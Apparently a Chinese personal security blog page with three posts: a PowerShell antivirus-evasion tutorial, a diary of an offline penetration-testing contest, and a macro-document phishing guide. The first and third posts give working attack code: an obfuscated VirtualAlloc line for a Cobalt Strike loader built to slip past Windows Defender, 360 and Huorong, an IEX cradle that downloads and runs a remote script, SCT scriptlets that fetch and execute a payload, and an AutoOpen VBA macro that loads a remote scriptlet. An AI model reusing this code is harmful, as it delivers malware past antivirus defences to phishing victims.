PowerShell免杀

前言

明天早八算什么,话不多说,开整。
相比起PE文件,直接用分割语句的方式,定位查杀点,不难发现,不论是WD,360,火绒,查杀点都定位在

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

这一语上,那么我们只要把这个混淆了不就搞定了

ps1 免杀

直接把这句提出来,单独保存为一个ps1,直接使用开源项目Invoke-Obfuscation
之后,直接使用

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
SET SCRIPTBLOCK script_block_or_command
set scriptpath 单独提取出来的ps1地址
encoding\1

无标题.png
之后直接把上面的语句,替换成

$var_va = .(([stRInG]$vERbosePREfEReNCE)[1,3]+'x'-JoIN'')(( ('5b', 53, 79,73, 74 , 65 ,'6d' , '2e',52 ,75 , '6e' , 74, 69, '6d' , 65,'2e' , 49 , '6e', 74 ,65 , 72, '6f',70 , 53 ,65, 72, 76, 69 , 63 ,65 ,73, '2e','4d' , 61 ,72 , 73 , 68,61 ,'6c' ,'5d', '3a','3a' ,47 ,65, 74 ,44 ,65 , '6c' ,65,67,61 ,74, 65, 46 , '6f' ,72 , 46, 75,'6e',63, 74, 69, '6f' , '6e' , 50 , '6f' ,69,'6e' , 74 ,65, 72, 28 , 28 ,66, 75,'6e',63,'5f',67, 65 ,74,'5f',70,72, '6f' ,63, '5f' ,61, 64,64, 72 ,65, 73,73,20 , '6b', 65, 72 ,'6e' , 65 , '6c',33 , 32,'2e' , 64 , '6c' , '6c' ,20 , 56,69 ,72 ,74 , 75 , 61,'6c',41,'6c' ,'6c' , '6f',63,29 ,'2c' ,20, 28 , 66 , 75,'6e', 63,'5f', 67 , 65,74 , '5f' ,64 ,65, '6c' , 65, 67,61,74,65,'5f', 74 ,79 ,70 ,65 ,20 , 40 ,28,'5b', 49,'6e',74, 50, 74, 72 , '5d' ,'2c' , 20, '5b',55,49 , '6e', 74 , 33,32, '5d','2c' , 20, '5b',55,49,'6e' ,74, 33,32, '5d','2c' , 20 , '5b', 55 , 49 ,'6e' , 74,33,32,'5d' ,29 ,20 , 28 , '5b',49 ,'6e' ,74 ,50, 74 ,72,'5d',29 ,29, 29)| fOreach-oBjEct{( [cOnVeRT]::tOInT16(( $_.TOSTrinG() ) , 16) -aS [CHar]) } ) -joIN '')

photo_2021-04-22_02-01-19.jpg
huorong.jpg
360.jpg

之后精简语句,直接用网络上的远程下载执行

IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).P
sObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http:
///ps1.txt")

把上面的powershell放上云就行

powershell command

明天找机会写

Tags: none

线下摸鱼

前言

这次去线下,很累,但也很好玩,同时也是没发挥好的一局。

说来惭愧其实是被省里安排进线下的。因为无论是线上线下都是一个人打。。然后线上距离进线下还有一定距离。

原本然后想着算了就划水了,连wp都懒得交。结果因为是本地政府办的,所以特地安排了个“本地代表队”。

然后就愉快的进去划水了。
photo_2021-04-17_23-21-32.jpg

经过

和预期的不同,这次比赛是打靶场的形式。并不是AWD形式,这是开打之前我才知道的。甚至在比赛之前一晚的讨论都是关于AWD的,
详情可以看

靶场还是比预期的熟悉很多,上来分为7个资产和一堆其余的小资产,都在两个/24段中,之后你需要收集这些资产,打下这些站点,就和现实中有点类似,不过简化了内网渗透的流程。特别是域渗透啊钓鱼啊这方面都省去了。不过总体来说还是十分的好玩的。

有幸混了个首杀1血,直接拿tp洞打的。那些非资产的那些东西,是允许搅屎的。打完上去把shell或者漏洞点改了之后别人就登不进去了,所以基本就是比个拼手速的过程。

我也是在每个点打过去之后才知道。一个人手动慢慢每个访问过去,把所有资产理清楚之后,站点也基本被其他人打完了。

还有就是,他这个没办法反弹到我们的攻击机系统,然后冰蝎那个正向shell和rege那啥的正向反弹shell代理实在是tmd不能用,下次我一定tmd要整个web组件让cs可以网页正向上线,淦。导致内网机器压根没打。

甚至被搅屎到,我还要靠着爆破别人的webshell才能上车。因为有个组件是phpstudy部署的。然鹅我第一次用xray没扫到。。甚至赛组给了提示之后我每次都用各种exp尝试都失败,这时候你无法知道到底是你的方式有问题还是靶机有问题,不敢去找裁判。

导致最后才根据别人的车上了这个环境。

一个人打是真的太难太累了。很多都没发挥出来,甚至不如和群友打的1/10的水平。最后由于实在太菜,只摸到了个这个
photo_2021-04-18_00-49-41.jpg
(不是俺的手)

题外话

不过好处是面到了一个很早以前认识的师傅。认识的时候都不敢讲话,俺害羞。

最后还收到了Canarypwn 托同学带的明信片,真的是太太太太感谢辣

photo_2021-04-18_00-51-39.jpg

拖着保肝16小时的身躯写完了这个,不行了太困了睡啦

Tags: ctf, 线下

文档钓鱼-宏免杀上线

前言

突然要研究,没啥技术含量
photo_2021-04-16_23-59-49.jpg

使用

远程部署一个sct

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("powershell的cs马");
    ]]>
</script>
</registration>
</scriptlet>

这个只能过360,我也不知道为啥它不拦,但是总之他就是不拦截。。。
以及过其他的。

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
        var WSHShell = new ActiveXObject("WScript.Shell");
path = WSHShell.ExpandEnvironmentStrings("%temp%");
var filepath = path+"/asdqq";
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","你的免杀马", false);
xhr.send();
if (xhr.Status == 200) {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        var stream = new ActiveXObject("ADODB.Stream");
        stream.Open();
        stream.Type = 1;
        stream.Write(xhr.ResponseBody);
        stream.Position = 0;
    if (fso.FileExists(filepath)){
       fso.DeleteFile(filepath);
    }
        stream.SaveToFile(filepath);
        stream.Close();
        new ActiveXObject("WScript.Shell").Exec(filepath);
}
    ]]>
</script>
</registration>
</scriptlet>

用上面这个方法,目标开了宏就能过了。

直接给宏添加

Private Declare Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
    DllInstall False, ByVal StrPtr("你的远程sct地址") ' False = "Don't install"
End Sub
Tags: 免杀, cs,
文章总数:185篇 分类总数:4个